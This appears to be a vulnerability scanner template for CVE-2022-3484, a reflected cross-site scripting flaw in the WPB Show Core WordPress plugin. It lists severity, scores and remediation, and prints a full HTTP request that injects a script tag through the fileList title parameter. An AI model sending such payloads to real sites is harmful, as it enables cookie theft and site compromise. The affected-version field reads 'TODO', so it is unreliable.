| Title | WordPress WPB Show Core - Cross-Site Scripting |
|---|---|
| Author | theamanrawat |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access, data theft, and potential compromise of the affected WordPress website. |
| Remediation | Update to the latest version of the WPB Show Core plugin, which includes a fix for the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.03299 |
| CVE ID | CVE-2022-3484 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 wpscan wp-plugin wp wordpress xss wpb-show-core wpb_show_core_project vuln |
WordPress wpb-show-core plugin through TODO contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
GET /wp-content/plugins/wpb-show-core/modules/jplayer_new/jplayer_twitter_ver_1.php?audioPlayerOption=1&fileList[0][title]=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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